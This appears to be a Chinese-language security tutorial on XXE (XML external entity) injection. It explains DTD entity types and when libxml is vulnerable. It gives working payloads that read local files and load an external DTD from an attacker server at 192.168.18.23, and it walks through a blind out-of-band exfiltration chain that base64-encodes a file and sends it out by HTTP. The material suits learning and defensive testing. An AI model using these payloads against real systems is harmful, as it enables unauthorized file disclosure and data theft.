XXE漏洞详情篇
XXE漏洞
利用数据格式造成攻击
1、造成XXE的原因
运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE);
2、定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
3、利用漏洞条件
(即参数有没有过滤)
-
libxml是否小于2.9.1(不管libxml_disable_entity_loader选项怎么样都直接可以用)
-
或者libxml_disable_entity_loader选项设置成了False。(高版本默认是true用不了,如果大意设置为了flase那么依然可以用)
注意编码主要针对无回显
4、XXE使用
- 通过xxe读取目标文件内容,一般就是这么用,读的就是/etc/password文件,执行操作系统命令是不现实的。(xml协议不支持命令执行,php协议可以,具体的命令执行还是读文件是根据协议走的)
5、XXE挖掘及扩展
1、抓包看accept头是否接受xml
找xxe:带参数的地方,看accept的头有没有application/xhtml+xml即有没有xml格式的提交数据;支持xml就开始测参数(就像注入一样带入语句脚本),直接POST包下面交数据代码
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
2、抓包修改数据类型,把json改成xml来传输数据
一道ctf题:http://web.jarvisoj.com:9882/
挖洞的时候有时候可能:看头中json会不会造成xxe
如果遇到这种情况的话,json传输数据可以直接修改为xml,然后添加xml数据内容,放包。
例如原本的数据吧是这样的:
但当改为xxe进行文件读取:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>
5、DTD基础知识
Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
构建xxe的payload达成攻击
首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。
基本的PAYLOAD结构:
中间部分就是DTD部分,两头是xml代码
使用DTD实体的攻击方式
DTD 引用方式(简要了解):
- DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
举例:
<?xml version="1.0"?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> ...... 命名方法:以!DOCTYPE开始,configuration是文档根元素名称; PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织; DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号; EN表示DTD语言是英语;最后是DTD的URL;
DTD 实体声明:
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成:&符号, 实体名称, 分号 (😉,这里&不论在GET还是在POST中都需要进行URL编码(地址栏的话,浏览器默认URL编码了),因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "This is a text">]> <foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
3. 参数实体声明
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
4. 引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
实例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
6、实体类别介绍
实体主要分为一下四类:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
举例:
* 内部实体
<!ENTITY 实体名称 "实体的值">
- 外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL">
- 参数实体
<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">
注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。
总结
调用外部实体就是为了绕开设置的防止回显
7、XXE攻击类别及实例
有回显
可以用下面的两种方式:(直接使用外部实体调用file://函数去读取本地文件,或者建立dtd文件进行远程协议调用文件。)
-
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
-
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil2.dtd" > %xxe;]> <foo>&evil;</foo> 其中外部链接的evil.dtd中内容为:(这里攻击服务器地址为:192.168.18.70:86) <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
无回显
建立一个dtd文件,在远程服务器上放入dtd文件,利用以后如果无报错就需要查看数据日志文件信息,可以看到base64编码后的数据。
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)192.168.18.23。
攻击的payload如下:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd"> %remote;%int;%send; ]>
test.dtd的文件内容如下:读取的文件内容进行了base64编码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.18.23?p=%file;'>">
实际效果如下:
注意:无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。(这是得知道目标日志存储的位置)
我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码
%
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。